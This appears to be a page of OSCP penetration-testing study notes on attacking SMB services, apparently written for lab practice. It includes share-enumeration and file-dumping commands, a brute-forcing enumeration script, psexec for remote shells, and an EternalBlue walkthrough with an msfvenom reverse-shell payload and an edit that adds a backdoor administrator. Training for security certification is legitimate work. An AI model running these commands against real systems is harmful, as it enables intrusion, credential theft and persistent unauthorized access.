> For the complete documentation index, see [llms.txt](https://n000b3r.gitbook.io/oscp-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://n000b3r.gitbook.io/oscp-notes/services/139-445-smb.md).
# (139,445) SMB
List shares
```bash
# Anonymous/Null Session
smbclient -L //10.130.40.80 -N
nxc smb 10.10.11.174 -u '' -p '' --shares
# Guest Session
smbclient -L //10.10.11.174 -U=milesdyson
nxc smb 10.10.11.174 -u '' -p '' --shares
impacket-smbclient a@10.10.11.174
```
#### List all files in a share recursively
```bash
smbclient //10.11.1.231/home -N -c 'recurse;ls'
smbmap -H -R
nxc smb 10.10.11.174 -u jack -p P@ssw0rd123! -M spider_plus
```
Nxc Put files && Get Files
```bash
# Nxc put files to share
nxc smb com01 -u svc_web_staging -p Princess1 --share Transfer --put-file denki_proj_wip.docm "denki_proj_wip.docm"
# Nxc get files from share
nxc smb dc1.scrm.local -u miscsvc -p ScrambledEggs9900 -k --share IT --get-file "Apps/Sales Order Client/ScrambleClient.exe" ScrambleClient.exe
```
SMB Version
```bash
smb_version 10.11.1.115
```
* Used this [tool](https://github.com/rewardone/OSCPRepo/blob/master/scripts/recon_enum/smbver.sh) but changed `tap0` to `tun0`
### SMB1
* Susceptible to known attacks (Eternal blue , wanna cry)
* Disabled by default in newer Windows version
* Versions:
* Windows 2000, XP and Windows 2003
### SMB2
* Reduced "chattiness" of SMB1
* Guest access disabled by default
* Versions:
* SMB2: Windows Vista SP1 and Windows 2008
* SMB2.1: Windows 7 and Windows 2008 R2
### SMB3
* Guest access disabled
* Uses encryption (most secure)
* Versions:
* Windows 8 and Windows 2012.
SMB Username Enumeration
```bash
impacket-lookupsid svc_apache:'S@Ss!K@*t13'@'flight.htb'
```
Connect to shares
```bash
smbclient //10.10.215.173/milesdyson -U=milesdyson
impacket-smbclient s.moon:'S@Ss!K@*t13'@flight.htb
shares --> to see available SMB shares
use --> switch to this SMB share
get --> download the file
# List shares & view permissions
nxc smb DC1.scrm.local -u ksimpson -p ksimpson -d scrm.local -k --shares
# Dump all files from all readable shares
nxc smb DC1.scrm.local -u ksimpson -p ksimpson -d scrm.local -k -M spider_plus
# Get Specific File
nxc smb dc1.scrm.local -u miscsvc -p ScrambledEggs9900 -k --share IT --get-file "Apps/Sales Order Client/ScrambleClient.exe" ScrambleClient.exe
```
Nxc Kerberos Authentication
```bash
rdate -n 10.10.11.168
nxc smb dc1.scrm.local -u ksimpson -p ksimpson -d scrm.local -k
```
Spaces in share name
```bash
smbclient "//10.11.1.136/Bob Share/" -N
```
Increase Timeout For Large Files
```bash
smbclient //ZPH-SVRCDC01/C$ -U=internal.zsm.local/melissa
timeout 120
iosize 16384
```
STATUS_PASSWORD_MUST_CHANGE (Changing User's Password)
```bash
wget https://lira.epac.to/DOCS/python3-impacket/examples/smbpasswd.py
python smbpasswd.py baby.vl/Caroline.Robinson:'BabyStart123!'@10.10.71.170 -newpass 'P@ssw0rd123!'
```
Copy all files from SMB share
```bash
smbclient ///
> mask ""
> recurse
> prompt
> mget *
```
Enum4linux
```
enum4linux -a 10.11.67.208
```
Nmap
nmap -p 445 -script vuln 10.10.10.4
```bash
nmap --script=smb-enum-shares
```
```bash
nmap --script smb-* -p 139,445, 172.21.0.0
```
Mounting SMB Shares
Use `cp` to copy large files from SMB shares.
```bash
mount -t cifs //10.10.10.134/Backups /home/kali/Documents/htb/10.10.10.134/share
```
Specifying credentials:
```bash
mount -t cifs -o username=V.Ventz //192.168.231.175/"Password Audit" /home/kali/Documents/pg_practice/192.168.231.175/share
```
SMB to Reverse shell
/usr/share/doc/python3-impacket/examples/psexec.py username:password@hostIP
PsExec is a portable tool from Microsoft that lets you run processes remotely using any user's credentials
HAIL MARY SCRIPT
```bash
smb_allenum 10.10.10.10
```
```bash
#!/bin/bash
# smbenum 0.2 - This script will enumerate SMB using every tool in the arsenal
# SECFORCE - Antonio Quina
# All credits to Bernardo Damele A. G. for the ms08-067_check.py script
IFACE="eth0"
if [ $# -eq 0 ]
then
echo "Usage: $0 "
echo "eg: $0 10.10.10.10"
exit
else
IP="$1"
fi
echo -e "\n########## Getting Netbios name ##########"
nbtscan -v -h $IP
echo -e "\n########## Checking for NULL sessions ##########"
output=`bash -c "echo 'srvinfo' | rpcclient $IP -U%"`
echo $output
echo -e "\n########## Enumerating domains ##########"
bash -c "echo 'enumdomains' | rpcclient $IP -U%"
echo -e "\n########## Enumerating password and lockout policies ##########"
polenum $IP
echo -e "\n########## Enumerating users ##########"
nmap -Pn -T4 -sS -p139,445 --script=smb-enum-users $IP
bash -c "echo 'enumdomusers' | rpcclient $IP -U%"
bash -c "echo 'enumdomusers' | rpcclient $IP -U%" | cut -d[ -f2 | cut -d] -f1 > /tmp/$IP-users.txt
echo -e "\n########## Enumerating Administrators ##########"
net rpc group members "Administrators" -I $IP -U%
echo -e "\n########## Enumerating Domain Admins ##########"
net rpc group members "Domain Admins" -I $IP -U%
echo -e "\n########## Enumerating groups ##########"
nmap -Pn -T4 -sS -p139,445 --script=smb-enum-groups $IP
echo -e "\n########## Enumerating shares ##########"
nmap -Pn -T4 -sS -p139,445 --script=smb-enum-shares $IP
echo -e "\n########## Bruteforcing all users with 'password', blank and username as password"
hydra -e ns -L /tmp/$IP-users.txt -p password $IP smb -t 1
rm /tmp/$IP-users.txt
```
MS17-010 (Eternal Blue)
CVE-2017-0143
1. `git clone https://github.com/worawit/MS17-010`
2. Generate a reverse shell (`shell.exe`) using
```
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.2.4 LPORT=443 -f exe > shell.exe
```
3. Edit the following section inside the `zzz_exploit.py` file.
* If received `Not found accessible named pipe` --> use SMB Guest authentication creds instead (guest:)
### Create a user with admin rights (windows)
Sometimes it may not work, then need to add user and place user in administrator group.
```python
def smb_pwn(conn, arch):
smbConn = conn.get_smbconnection()
service_exec(conn, r'cmd /c net user bill pass /add')
service_exec(conn, r'cmd /c net localgroup administrators bill /add')
```
4. Setup nc listener and run `python2.7 zzz_exploit.py 10.10.10.4`